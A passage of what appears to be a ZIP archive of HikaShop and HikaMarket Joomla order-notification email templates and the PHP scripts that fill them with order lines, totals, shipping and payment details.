!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_TOTAL}</td>
</tr>
<!--{START:PRODUCT_LINE}-->
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;">
{LINEVAR:PRODUCT_IMG}
{LINEVAR:PRODUCT_NAME}<!--{IF:ORDER_PRODUCT_CODE}-->
{LINEVAR:PRODUCT_CODE}<!--{ENDIF:ORDER_PRODUCT_CODE}-->
{LINEVAR:PRODUCT_DOWNLOAD}
</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_PRICE}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_QUANTIY}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_TOTAL}</td>
</tr>
<!--{END:PRODUCT_LINE}-->
<!--{START:ORDER_FOOTER}-->
<tr>
<td colspan="3" style="text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{LINEVAR:NAME}</td>
<td style="text-align:right">{LINEVAR:VALUE}</td>
</tr>
<!--{END:ORDER_FOOTER}-->
</table>
<!--{IF:PAYMENT}-->
<p>
<span style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PAYMENT_METHOD}
:</span> {VAR:PAYMENT}
</p>
<!--{ENDIF:PAYMENT}-->
<!--{IF:SHIPPING}-->
<p>
<span style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:HIKASHOP_SHIPPING_METHOD}
:</span> {VAR:SHIPPING}
</p>
<!--{ENDIF:SHIPPING}-->
<!--{IF:ORDER_SUMMARY}-->
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd;padding-top:10px;padding-bottom:10px;">
{TXT:ADDITIONAL_INFORMATION}
</h1>
<p style="border-bottom:1px solid
#ddd;padding-bottom:10px;">
{VAR:ORDER_SUMMARY}
</p>
<!--{ENDIF:ORDER_SUMMARY}-->
<p>
{TXT:ORDER_END_MESSAGE}
</p>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
</table>
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikashop/images/mail/footer.png"
border="0" alt="--" />
</td>
</tr>
</table>
</div>
PK�[�l�j|?|?order_notification.preload.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
$app = JFactory::getApplication();
$config = hikashop_config();
$orderClass = hikashop_get('class.order');
$imageHelper = hikashop_get('helper.image');
$productClass = hikashop_get('class.product');
$fieldsClass = hikashop_get('class.field');
if(hikashop_level(2)) {
$null = null;
$itemFields =
$fieldsClass->getFields('frontcomp',$null,'item');
}
global $Itemid;
$url_itemid = '';
if(!empty($Itemid)) {
$url_itemid = '&Itemid=' . $Itemid;
}
$order_url = $data->order_url;
$mail_status = $data->mail_status;
$customer = $data->customer;
$url = $data->order->order_number;
$data->order->order_url = $order_url;
if(!empty($customer->user_cms_id) &&
(int)$customer->user_cms_id != 0) {
$url = '<a href="'.$order_url.'">'.
$url.'</a>';
}
$data->cart =
$orderClass->loadFullOrder($data->order_id,true,false);
$data->cart->coupon = new stdClass();
$price = new stdClass();
$tax = $data->cart->order_subtotal -
$data->cart->order_subtotal_no_vat +
$data->order->order_discount_tax +
$data->order->order_shipping_tax;
$price->price_value = $data->order->order_full_price - $tax;
$price->price_value_with_tax = $data->order->order_full_price;
$data->cart->full_total = new stdClass;
$data->cart->full_total->prices = array($price);
$data->cart->coupon->discount_value =&
$data->order->order_discount_price;
if($app->isAdmin()) {
$view = 'order';
} else {
$view = 'address';
}
$colspan = 4;
$customer_name = @$customer->name;
if(empty($customer_name))
$customer_name =
@$data->cart->billing_address->address_firstname;
$vars = array(
'LIVE_SITE' => HIKASHOP_LIVE,
'URL' => $order_url,
'order' => $data->cart,
'ORDER_PRODUCT_CODE' =>
(bool)$config->get('show_product_code', false),
'billing_address' => @$data->cart->billing_address,
'shipping_address' => @$data->cart->shipping_address,
);
$texts = array(
'BILLING_ADDRESS' =>
JText::_('HIKASHOP_BILLING_ADDRESS'),
'SHIPPING_ADDRESS' =>
JText::_('HIKASHOP_SHIPPING_ADDRESS'),
'SUMMARY_OF_YOUR_ORDER' =>
JText::_('SUMMARY_OF_YOUR_ORDER'),
'MAIL_HEADER' => JText::_('HIKASHOP_MAIL_HEADER'),
'PRODUCT_NAME' => JText::_('CART_PRODUCT_NAME'),
'PRODUCT_CODE' => JText::_('CART_PRODUCT_CODE'),
'PRODUCT_PRICE' =>
JText::_('CART_PRODUCT_UNIT_PRICE'),
'PRODUCT_QUANTITY' =>
JText::_('CART_PRODUCT_QUANTITY'),
'PRODUCT_TOTAL' => JText::_('HIKASHOP_TOTAL'),
'ADDITIONAL_INFORMATION' =>
JText::_('ADDITIONAL_INFORMATION'),
'ORDER_TITLE' => JText::_('YOUR_ORDER'),
'HI_CUSTOMER' => JText::sprintf('HI_CUSTOMER',
$customer_name),
'ORDER_CHANGED' =>
JText::sprintf('ORDER_STATUS_CHANGED_TO', $url,
$data->mail_status),
'ORDER_BEGIN_MESSAGE' =>
JText::sprintf('THANK_YOU_FOR_YOUR_ORDER_BEGIN', HIKASHOP_LIVE),
'ORDER_END_MESSAGE' =>
JText::sprintf('THANK_YOU_FOR_YOUR_ORDER', HIKASHOP_LIVE) .
'<br/>' .
JText::sprintf('BEST_REGARDS_CUSTOMER',$mail->from_name),
);
$templates = array();
$products_ids = array();
foreach($data->cart->products as $item) { $products_ids[] =
$item->product_id; }
$productClass->getProducts($products_ids);
$cartProducts = array();
$cartFooters = array();
{
$group = $config->get('group_options',0);
$subtotal = 0;
foreach($data->cart->products as $item) {
if($group && $item->order_product_option_parent_id)
continue;
$product = $productClass->all_products[$item->product_id];
$cartProduct = array(
'PRODUCT_CODE' => $item->order_product_code,
'PRODUCT_QUANTIY' => $item->order_product_quantity,
'PRODUCT_IMG' => '',
'item' => $item,
'product' => $product,
);
if(!empty($item->images[0]->file_path)) {
$img = $imageHelper->getThumbnail($item->images[0]->file_path,
array(50, 50), array('forcesize' => true, 'scale'
=> 'outside'));
if($img->success) {
$image = str_replace('../', HIKASHOP_LIVE, $img->url);
$cartProduct['PRODUCT_IMG'] = '<img
src="'.$image.'" alt=""
style="float:left;margin-top:3px;margin-bottom:3px;margin-right:6px;"/>';
}
}
$t = '<p>' . $item->order_product_name;
if($group){
$display_item_price=false;
foreach($data->cart->products as $j => $optionElement){
if($optionElement->order_product_option_parent_id !=
$item->order_product_id) continue;
if($optionElement->order_product_price>0){
$display_item_price = true;
}
}
if($display_item_price){
if($config->get('price_with_tax')){
$t .= '
'.$currencyHelper->format($item->order_product_price +
$item->order_product_tax,$data->order->order_currency_id);
}else{
$t .= '
'.$currencyHelper->format($item->order_product_price,$data->order->order_currency_id);
}
}
}
$t .= '</p>';
if(!empty($itemFields)){
foreach($itemFields as $field){
$namekey = $field->field_namekey;
if(empty($item->$namekey) && !strlen($item->$namekey))
continue;
$t .=
'<p>'.$fieldsClass->getFieldName($field).':
'.$fieldsClass->show($field,$item->$namekey,'user_email').'</p>';
}
}
if($group){
foreach($data->cart->products as $j => $optionElement){
if($optionElement->order_product_option_parent_id !=
$item->order_product_id) continue;
$item->order_product_price
+=$optionElement->order_product_price;
$item->order_product_tax +=$optionElement->order_product_tax;
$item->order_product_total_price+=$optionElement->order_product_total_price;
$item->order_product_total_price_no_vat+=$optionElement->order_product_total_price_no_vat;
$t .= '<p
class="hikashop_order_option_name">' .
$optionElement->order_product_name;
if($optionElement->order_product_price>0){
if($config->get('price_with_tax')){
$t .= ' ( +
'.$currencyHelper->format($optionElement->order_product_price+$optionElement->order_product_tax,$data->order->order_currency_id).'
)';
}else{
$t .= ' ( +
'.$currencyHelper->format($optionElement->order_product_price,$data->order->order_currency_id).'
)';
}
}
$t .= '</p>';
}
}
$cartProduct['PRODUCT_NAME'] = $t;
$t = '';
$statusDownload =
explode(',',$config->get('order_status_for_download','confirmed,shipped'));
if(!empty($item->files) &&
in_array($data->order->order_status,$statusDownload)){
$t .= '<p>';
foreach($item->files as $file){
$fileName = empty($file->file_name) ? $file->file_path :
$file->file_name;
$file_pos = empty($file->file_pos) ? '' :
('&file_pos=' . $file->file_pos);
$t .= '<a
href="'.hikashop_frontendLink('index.php?option=com_hikashop&ctrl=order&task=download&file_id='.$file->file_id.'&order_id='.$data->order_id.$file_pos.$url_itemid).'">'.$fileName.'</a><br/>';
}
$t .= '</p>';
}
$cartProduct['PRODUCT_DOWNLOAD'] = $t;
if($config->get('price_with_tax')){
$unit_price =
$currencyHelper->format($item->order_product_price+$item->order_product_tax,$data->order->order_currency_id);
$total_price =
$currencyHelper->format($item->order_product_total_price,$data->order->order_currency_id);
$subtotal += $item->order_product_total_price;
}else{
$unit_price =
$currencyHelper->format($item->order_product_price,$data->order->order_currency_id);
$total_price =
$currencyHelper->format($item->order_product_total_price_no_vat,$data->order->order_currency_id);
$subtotal += $item->order_product_total_price_no_vat;
}
$cartProduct['PRODUCT_PRICE'] = $unit_price;
$cartProduct['PRODUCT_TOTAL'] = $total_price;
$cartProducts[] = $cartProduct;
}
$templates['PRODUCT_LINE'] = $cartProducts;
if(bccomp($data->order->order_discount_price,0,5) ||
bccomp($data->order->order_shipping_price,0,5) ||
bccomp($data->order->order_payment_price,0,5) ||
($data->cart->full_total->prices[0]->price_value!=$data->cart->full_total->prices[0]->price_value_with_tax)
|| !empty($data->cart->additional)){
$cartFooters[] = array(
'NAME' => JText::_('SUBTOTAL'),
'VALUE' =>
$currencyHelper->format($subtotal,$data->order->order_currency_id)
);
}
if(bccomp($data->order->order_discount_price,0,5)) {
if($config->get('price_with_tax')) {
$t =
$currencyHelper->format($data->order_discount_price*-1,$data->order->order_currency_id);
}else{
$t =
$currencyHelper->format(($data->order_discount_price-@$data->order_discount_tax)*-1,$data->order->order_currency_id);
}
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_COUPON'),
'VALUE' => $t
);
}
if(bccomp($data->order->order_shipping_price,0,5)){
if($config->get('price_with_tax')) {
$t =
$currencyHelper->format($data->order->order_shipping_price,$data->order->order_currency_id);
}else{
$t =
$currencyHelper->format($data->order->order_shipping_price-@$data->order->order_shipping_tax,$data->order->order_currency_id);
}
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_SHIPPING'),
'VALUE' => $t
);
}
if(bccomp($data->order->order_payment_price,0,5)){
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_PAYMENT'),
'VALUE' =>
$currencyHelper->format($data->order->order_payment_price,$data->order->order_currency_id)
);
}
if(!empty($data->cart->additional)) {
$exclude_additionnal = explode(',',
$config->get('order_additional_hide', ''));
foreach($data->cart->additional as $additional) {
if(in_array($additional->order_product_name, $exclude_additionnal))
continue;
if(!empty($additional->order_product_price) ||
empty($additionaltionnal->order_product_options)) {
if($config->get('price_with_tax')){
$t = $currencyHelper->format($additional->order_product_price +
@$additional->order_product_tax,
$data->order->order_currency_id);
}else{
$t = $currencyHelper->format($additional->order_product_price,
$data->order->order_currency_id);
}
} else {
$t = $additional->order_product_options;
}
$cartFooters[] = array(
'NAME' => JText::_($additional->order_product_name),
'VALUE' => $t
);
}
}
if($data->cart->full_total->prices[0]->price_value!=$data->cart->full_total->prices[0]->price_value_with_tax)
{
if($config->get('detailed_tax_display') &&
!empty($data->cart->order_tax_info)) {
foreach($data->cart->order_tax_info as $tax) {
$cartFooters[] = array(
'NAME' => $tax->tax_namekey,
'VALUE' =>
$currencyHelper->format($tax->tax_amount,$data->order->order_currency_id)
);
}
} else {
$cartFooters[] = array(
'NAME' => JText::_('ORDER_TOTAL_WITHOUT_VAT'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value,$data->order->order_currency_id)
);
}
$cartFooters[] = array(
'NAME' => JText::_('ORDER_TOTAL_WITH_VAT'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value_with_tax,$data->order->order_currency_id)
);
} else {
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_FINAL_TOTAL'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value_with_tax,$data->order->order_currency_id)
);
}
$templates['ORDER_FOOTER'] = $cartFooters;
}
if(!empty($data->cart->order_payment_method)) {
if(!is_numeric($data->cart->order_payment_id)){
$vars['PAYMENT'] =
$data->cart->order_payment_method.'
'.$data->cart->order_payment_id;
}else{
$paymentClass = hikashop_get('class.payment');
$payment = $paymentClass->get($data->cart->order_payment_id);
$vars['PAYMENT'] = $payment->payment_name;
unset($paymentClass);
}
}
if(!empty($data->cart->order_shipping_id)) {
$shippingClass = hikashop_get('class.shipping');
if(!empty($data->cart->order_shipping_method)) {
if(!is_numeric($data->cart->order_shipping_id)){
$shipping_name =
$shippingClass->getShippingName($data->cart->order_shipping_method,
$data->cart->order_shipping_id);
$vars['SHIPPING'] = $shipping_name;
$vars['SHIPPING_TXT'] = $vars['SHIPPING'];
}else{
$shipping =
$shippingClass->get($data->cart->order_shipping_id);
$vars['SHIPPING'] = $shipping->shipping_name;
$vars['SHIPPING_TXT'] = $vars['SHIPPING'];
}
} else {
$shippings_data = array();
$shipping_ids = explode(';',
$data->cart->order_shipping_id);
foreach($shipping_ids as $key) {
$shipping_data = '';
list($k, $w) = explode('@', $key);
$shipping_id = $k;
if(isset($data->cart->shippings[$shipping_id])) {
$shipping = $data->cart->shippings[$shipping_id];
$shipping_data = $shipping->shipping_name;
} else {
foreach($data->cart->products as $order_product) {
if($order_product->order_product_shipping_id == $key) {
if(!is_numeric($order_product->order_product_shipping_id)){
$shipping_name =
$shippingClass->getShippingName($order_product->order_product_shipping_method,
$shipping_id);
$shipping_data = $shipping_name;
}else{
$shipping_method_data = $shippingClass->get($shipping_id);
$shipping_data = $shipping_method_data->shipping_name;
}
break;
}
}
if(empty($shipping_data))
$shipping_data = '[ ' . $key . ' ]';
}
if(isset($data->cart->order_shipping_params->prices[$key])) {
$price_params =
$data->cart->order_shipping_params->prices[$key];
if($config->get('price_with_tax')){
$shipping_data .= ' (' .
$currencyHelper->format($price_params->price_with_tax,
$data->cart->order_currency_id) . ')';
}else{
$shipping_data .= ' (' .
$currencyHelper->format($price_params->price_with_tax -
@$price_params->tax, $data->cart->order_currency_id) .
')';
}
}
$shippings_data[] = $shipping_data;
}
if(!empty($shippings_data)) {
$vars['SHIPPING'] =
'<ul><li>'.implode('</li><li>',
$shippings_data).'</li></ul>';
$vars['SHIPPING_TXT'] = ' - ' . implode("\r\n -
", $shippings_data);
}
}
unset($shippingClass);
} else {
$vars['SHIPPING'] = '';
}
ob_start();
$sep = '';
if(hikashop_level(2)) {
$fields =
$fieldsClass->getFields('frontcomp',$data,'order','');
foreach($fields as $fieldName => $oneExtraField) {
if(empty($data->order->$fieldName))
continue;
echo $sep .
$fieldsClass->trans($oneExtraField->field_realname).' :
'.$fieldsClass->show($oneExtraField,
$data->order->$fieldName,'user_email');
$sep = '<br />';
}
}
JPluginHelper::importPlugin('hikashop');
$dispatcher = JDispatcher::getInstance();
$dispatcher->trigger('onAfterOrderProductsListingDisplay',
array(&$data->cart, 'email_notification_html'));
$content = ob_get_clean();
$vars['ORDER_SUMMARY'] = $content;
$vars['BILLING_ADDRESS'] = '';
$vars['SHIPPING_ADDRESS'] = '';
$params = null;
$js = '';
$fieldsClass = hikashop_get('class.field');
$template =
trim(hikashop_getLayout($view,'address_template',$params,$js));
if(!empty($data->cart->billing_address) &&
!empty($data->cart->fields)){
$billing = ''.$template;
foreach($data->cart->fields as $field){
$fieldname = $field->field_namekey;
if(!empty($data->cart->billing_address->$fieldname))
$billing=str_replace('{'.$fieldname.'}',$fieldsClass->show($field,$data->cart->billing_address->$fieldname,'user_email'),$billing);
}
$vars['BILLING_ADDRESS'] =
str_replace(array("\r\n","\r","\n"),'<br/>',preg_replace('#{(?:(?!}).)*}#i','',$billing));
}
if(!empty($data->cart->override_shipping_address)) {
$vars['SHIPPING_ADDRESS'] =
$data->cart->override_shipping_address;
} elseif(!empty($data->cart->order_shipping_id) &&
!empty($data->cart->shipping_address)){
$shipping = ''.$template;
foreach($data->cart->fields as $field){
$fieldname = $field->field_namekey;
if(!empty($data->cart->shipping_address->$fieldname))
$shipping=str_replace('{'.$fieldname.'}',$fieldsClass->show($field,$data->cart->shipping_address->$fieldname,'user_email'),$shipping);
}
$vars['SHIPPING_ADDRESS'] =
str_replace(array("\r\n","\r","\n"),'<br/>',preg_replace('#{(?:(?!}).)*}#i','',$shipping));
} else {
$vars['SHIPPING_ADDRESS'] = $vars['BILLING_ADDRESS'];
}
PK�[�iiorder_notification.preview.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 4.4.1
* @author hikashop.com
* @copyright (C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class order_notificationPreviewMaker {
public $displaySubmitButton = false;
public $type = 'order';
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
$orderClass = hikashop_get('class.order');
$order = $orderClass->loadNotification((int)$data,
'order_notification');
return $order->mail;
}
public function getDefaultData() {
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$html = $nameboxType->display(
'data',
(int)$data,
hikashopNameboxType::NAMEBOX_SINGLE,
'order',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
if(!$html){
hikashop_display(JText::_('PLEASE_FIRST_CREATE_AN_ORDER'),
'info');
return;
}
if(empty($data)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_AN_ORDER_FOR_THE_PREVIEW'));
}
?>
<dl class="hika_options">
<dt>
<?php echo JText::_('HIKASHOP_ORDER'); ?>
</dt>
<dd>
<?php echo $html; ?>
</dd>
</dl>
<script type="text/javascript">
window.hikashop.ready(function() {
var w = window;
if(!w.oNameboxes['data'])
return;
w.oNameboxes['data'].register('set', function(e) {
hikashop.submitform('preview','adminForm');
});
});
</script>
<?php
}
}
PK�[��=order_notification.text.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php echo
JText::sprintf('HI_CUSTOMER',@$data->customer->name)."\n"."\n";?>
<?php
$url = $data->order->order_number;
if($config->get('simplified_registration',0) != 2) {
$url .= "\n".'( '.$data->order_url.'
)'."\n";
}
echo
JText::sprintf('ORDER_STATUS_CHANGED_TO',$url,$data->mail_status)."\n"."\n";?>
<?php echo
JText::sprintf('THANK_YOU_FOR_YOUR_ORDER',HIKASHOP_LIVE)."\n"."\n"."\n";?>
<?php echo
str_replace('<br/>',"\n",JText::sprintf('BEST_REGARDS_CUSTOMER',$mail->from_name));?>
PK�[]¤�b b
"order_status_notification.html.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body.hikashop_mail { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
#hikamarket_mail {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
#hikamarket_mail {width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
#hikamarket_mail {width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
</style>
<div id="hikamarket_mail" style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<div class="hikashop_online" style="font-family:Arial,
Helvetica,sans-serif;font-size:11px;line-height:18px;color:#6a5c6b;text-decoration:none;margin:10px;text-align:center;">
<a
style="cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;"
href="{VAR:URL}">
<span class="hikashop_online"
style="color:#6a5c6b;text-decoration:none;font-size:11px;margin-top:10px;margin-bottom:10px;text-align:center;">
{TXT:MAIL_HEADER}
</span>
</a>
</div>
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;"
border="0" cellspacing="0" cellpadding="0"
width="600" align="center">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikamarket/images/mail/header.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" style="" width="600"
align="center">
<table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560 pict" style="text-align:left;
color:#575757" width="560">
<div id="title" style="font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<img
src="{VAR:LIVE_SITE}media/com_hikashop/images/icons/icon-48-order.png"
border="0" alt=""
style="float:left;margin-right:4px;"/>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold; border-bottom:1px solid #ddd;
padding-bottom:10px">
{TXT:ORDER_TITLE}
</h1>
<h2 style="color:#1c8faf
!important;font-size:12px;font-weight:bold; padding-bottom:10px">
{TXT:ORDER_CHANGED}
</h2>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;">
<div class="w550" width="550"
id="content" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin-left:5px;margin-right:5px;">
<p>
<h3 style="color:#393939 !important; font-size:14px;
font-weight:normal;
font-weight:bold;margin-bottom:0px;padding:0px;">{TXT:HI_VENDOR}</h3>
{TXT:SALE_BEGIN_MESSAGE}
</p>
<!--{IF:acl.address}-->
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd;padding-top:10px;padding-bottom:10px;">
{TXT:SALE_CUSTOMER}
</h1>
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<!--{IF:acl.billingaddress}-->
<td style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:BILLING_ADDRESS}</td>
<!--{ENDIF:acl.billingaddress}-->
<!--{IF:acl.shippingaddress}-->
<td style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:SHIPPING_ADDRESS}</td>
<!--{ENDIF:acl.shippingaddress}-->
</tr>
<tr>
<!--{IF:acl.billingaddress}-->
<td>{VAR:BILLING_ADDRESS}</td>
<!--{ENDIF:acl.billingaddress}-->
<!--{IF:acl.shippingaddress}-->
<td>{VAR:SHIPPING_ADDRESS}</td>
<!--{ENDIF:acl.shippingaddress}-->
</tr>
</table>
<!--{ENDIF:acl.address}-->
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd;padding-top:10px;padding-bottom:10px;">
{TXT:SUMMARY_OF_YOUR_SALE}
</h1>
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;margin-bottom:10px;font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:left;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_NAME}</td>
{TXT:CUSTOMFIELD_NAME}
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_PRICE}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_QUANTITY}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_TOTAL}</td>
</tr>
<!--{START:PRODUCT_LINE}-->
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;">
{LINEVAR:PRODUCT_IMG}
{LINEVAR:PRODUCT_NAME}<!--{IF:ORDER_PRODUCT_CODE}-->
{LINEVAR:PRODUCT_CODE}<!--{ENDIF:ORDER_PRODUCT_CODE}-->
</td>
{LINEVAR:CUSTOMFIELD_VALUE}
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_PRICE}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_QUANTIY}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_TOTAL}</td>
</tr>
<!--{END:PRODUCT_LINE}-->
<!--{START:ORDER_FOOTER}-->
<tr>
<td colspan="{TXT:FOOTER_COLSPAN}"
style="text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{LINEVAR:NAME}</td>
<td style="text-align:right">{LINEVAR:VALUE}</td>
</tr>
<!--{END:ORDER_FOOTER}-->
</table>
<!--{IF:PAYMENT}-->
<p>
<span style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PAYMENT_METHOD}
:</span> {VAR:PAYMENT}
</p>
<!--{ENDIF:PAYMENT}-->
<!--{IF:SHIPPING}-->
<p>
<span style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:HIKASHOP_SHIPPING_METHOD}
:</span> {VAR:SHIPPING}
</p>
<!--{ENDIF:SHIPPING}-->
<!--{IF:ORDER_SUMMARY}-->
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd;padding-top:10px;padding-bottom:10px;">
{TXT:ADDITIONAL_INFORMATION}
</h1>
<p style="border-bottom:1px solid
#ddd;padding-bottom:10px;">
{VAR:ORDER_SUMMARY}
</p>
<!--{ENDIF:ORDER_SUMMARY}-->
<p>
{TXT:SALE_END_MESSAGE}
</p>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
</table>
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikamarket/images/mail/footer.png"
border="0" alt="--" />
</td>
</tr>
</table>
</div>
PK�[]�},M,M%order_status_notification.preload.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
$app = JFactory::getApplication();
$config = hikamarket::config();
$shopConfig = hikamarket::config(false);
$orderClass = hikamarket::get('shop.class.order');
$imageHelper = hikamarket::get('shop.helper.image');
$productClass = hikamarket::get('shop.class.product');
$fieldsClass = hikamarket::get('shop.class.field');
global $Itemid;
$url_itemid = '';
if(!empty($Itemid))
$url_itemid = '&Itemid=' . $Itemid;
$customer = $data->customer;
if(!isset($data->order))
$data->order = new stdClass();
$fs =
array('order_number','order_discount_tax','order_shipping_tax','order_payment_tax','order_full_price','order_shipping_price','order_payment_price','order_discount_price','order_currency_id','order_status');
foreach($fs as $f) {
if(isset($data->$f) && !isset($data->order->$f))
$data->order->$f = $data->$f;
if(isset($data->old->$f) && !isset($data->order->$f))
$data->order->$f = $data->old->$f;
}
if($app->isAdmin()) {
$view = 'shop.order';
$order_url =
HIKASHOP_LIVE.'index.php?option=com_hikamarket&ctrl=order&task=show&cid='
. (int)$data->order_id;
} else {
$view = 'shop.address';
$order_url =
hikamarket::completeLink('order&task=show&cid=' .
(int)$data->order_id);
}
$order_number = isset($data->order->order_number) ?
$data->order->order_number :
@$data->order->old->order_number;
$url = '<a href="' . $order_url . '">'
. $order_number . '</a>';
$data->order->order_url = $order_url;
$data->cart = $orderClass->loadFullOrder($data->order_id, true,
false);
$data->cart->coupon = new stdClass();
if(hikashop_level(2)) {
$null = null;
$itemFields =
$fieldsClass->getFields('display:mail_status_notif=1',
$data->cart->products, 'item');
}
$price = new stdClass();
$tax = $data->cart->order_subtotal -
$data->cart->order_subtotal_no_vat +
